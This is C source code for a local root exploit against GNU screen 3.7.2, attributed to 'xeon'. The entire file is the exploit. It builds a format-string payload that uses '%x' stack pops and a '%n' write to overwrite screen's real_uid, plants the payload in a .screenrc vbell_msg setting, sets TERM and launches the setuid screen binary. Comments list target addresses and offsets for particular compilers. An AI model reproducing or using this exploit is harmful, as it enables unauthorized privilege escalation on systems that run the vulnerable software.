/*
 * screen-3.7.2.c
 * by xeon
 *
 * tnx to i don't rememeber who for the initial post for screen-3.7.6
 * version for screen not using USEVARARGS
*/

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define TMPBUFSIZE 4096

#define SCREENRC "/home/xeon/.screenrc"
#define SCREEN "/usr/local/bin/screen-3.7.2"

#define TERM "vt100"

// (WRITEADDR=&real_uid-2)
// screen-3.7.2 - gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk)
// STACKPOP=6
// WRITEADDR=0x80773b2
// screen-3.7.2 - gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
// STACKPOP=between 10 and 17
// WRITEADDR=0x8076e12,if not try step +- of 64

int main(int argc, char** argv)
{
int i;
FILE *fp;
unsigned STACKPOP=10;
unsigned WRITEADDR=0x8076db2; // &real_uid-2
char buf[TMPBUFSIZE];
unsigned char *cp;

// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  if (argc != 3) {
    printf ("Use: %s <stackpop(%d)> <relative uid ofs(base=%p)>\n", argv[0], STACKPOP, WRITEADDR);
    return 0;
  }
  STACKPOP   = atoi (argv[1]);
  WRITEADDR += atoi (argv[2]);

// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  printf("[+] Creating magic string...");
  
  bzero(buf, TMPBUFSIZE);

  cp = (char *)&WRITEADDR;
  buf[0] = cp[0];
  buf[1] = cp[1];
  buf[2] = cp[2];
  buf[3] = cp[3];

  for(i=0; i<STACKPOP; i++)
    strcat(buf,".%x");
  
  strcat(buf, ".%n"); // overwrite WRITEADDR (real_uid)
  
  printf ("done\n");

// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  printf("[+] Creating %s...", SCREENRC);
  
  if(fp = fopen(SCREENRC, "w")) {
   fprintf(fp, "vbell on\n");
   fprintf(fp, "vbell_msg '%s'\n", buf);
   fprintf(fp, "vbellwait 2048\n");
   fclose(fp);
   printf("done\n");
  }
  else{
   printf("ERROR\n");
   return -1;
  }
 
// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  printf("[+] Setting TERM=vt100...");

  setenv("TERM", TERM, 1);
  
  printf("done\n");

// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  printf("[+] Cleaning command line...");

  for (i=1;i<argc;i++) argv[i] = NULL;

  printf("done\n");

// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  printf("\n");
  printf("Exploit data:\n");
  printf("Stackpop: %d\n",STACKPOP);
  printf("vbell_msg '"); for(cp=buf;*cp;cp++) printf("\\x%02x",*cp); 
printf("'\n");
  printf("Chars used: %d\n",12+strlen(buf));
  printf("Uid address: %p\n",WRITEADDR);
  printf("(Press a key dude...)");
  getchar();
  
// - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  execv(SCREEN, argv);
}
